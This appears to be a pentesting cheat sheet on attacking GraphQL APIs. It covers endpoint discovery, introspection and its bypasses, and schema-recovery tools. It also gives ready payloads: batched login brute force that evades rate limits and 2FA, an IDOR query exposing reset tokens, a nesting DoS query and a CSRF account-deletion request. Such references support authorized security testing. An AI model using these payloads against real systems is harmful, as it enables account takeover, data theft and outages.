caon.io

GraphQL

One endpoint, every object. Authorization is per-resolver, so it is usually inconsistent.

Find the endpoint

/graphql  /graphiql  /api/graphql  /v1/graphql  /graphql/console
/index.php?graphql  /graphql.php  /gql  /query  /altair  /playground
# https://github.com/dolevf/graphw00f
graphw00f -f -t https://example.com

# fingerprints the engine, which tells you which bypasses apply

Introspection

curl -s https://example.com/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{name} types{name fields{name}}}}"}'

Blocked? Try these before giving up:

{"query":"{__schema{types{name}}}"}          # newline after __schema
{"query":"query{__schema\n{types{name}}}"}
GET /graphql?query={__schema{types{name}}}   # method swap
Content-Type: application/x-www-form-urlencoded
# rebuild the schema without introspection
# https://github.com/nikitastupin/clairvoyance
clairvoyance -o schema.json -w wordlist.txt https://example.com/graphql

Tools

URL Description
https://github.com/dolevf/graphw00f Engine fingerprint
https://github.com/nikitastupin/clairvoyance Schema without introspection
https://github.com/swisskyrepo/GraphQLmap Query engine
https://github.com/doyensec/inql Burp extension
https://github.com/dolevf/graphql-cop Quick audit

Suggestions leak the schema

Even with introspection off, most engines answer with a typo hint:

{"errors":[{"message":"Cannot query field \"usr\" on type \"Query\". Did you mean \"user\"?"}]}

Batching bypasses rate limits

Array batching — one HTTP request, N operations. The rate limiter counts one.

[{"query":"mutation{login(user:\"admin\",pass:\"a\"){token}}"},
 {"query":"mutation{login(user:\"admin\",pass:\"b\"){token}}"},
 {"query":"mutation{login(user:\"admin\",pass:\"c\"){token}}"}]

Alias batching does the same inside one document — works where array batching is disabled:

mutation {
  a: login(user:"admin", pass:"a") { token }
  b: login(user:"admin", pass:"b") { token }
  c: login(user:"admin", pass:"c") { token }
}

This is the standard 2FA / OTP brute force on GraphQL.

IDOR

Resolvers are authorized individually. Reach a private object through a public one:

{ post(id:1) { author { email phone resetToken } } }

Deep nesting DoS

Only report where it is in scope.

{ user { posts { author { posts { author { posts { id } } } } } } }

Mutations are the interesting half

Introspect mutationType and read the whole list. Deleted, admin-only and internal mutations are frequently still wired up.

{__schema{mutationType{fields{name args{name type{name}}}}}}

CSRF

If the endpoint accepts application/x-www-form-urlencoded or GET, the JSON preflight is gone and CSRF is back on.

GET /graphql?query=mutation{deleteAccount}

Articles

↑↓ navigate↵ openesc close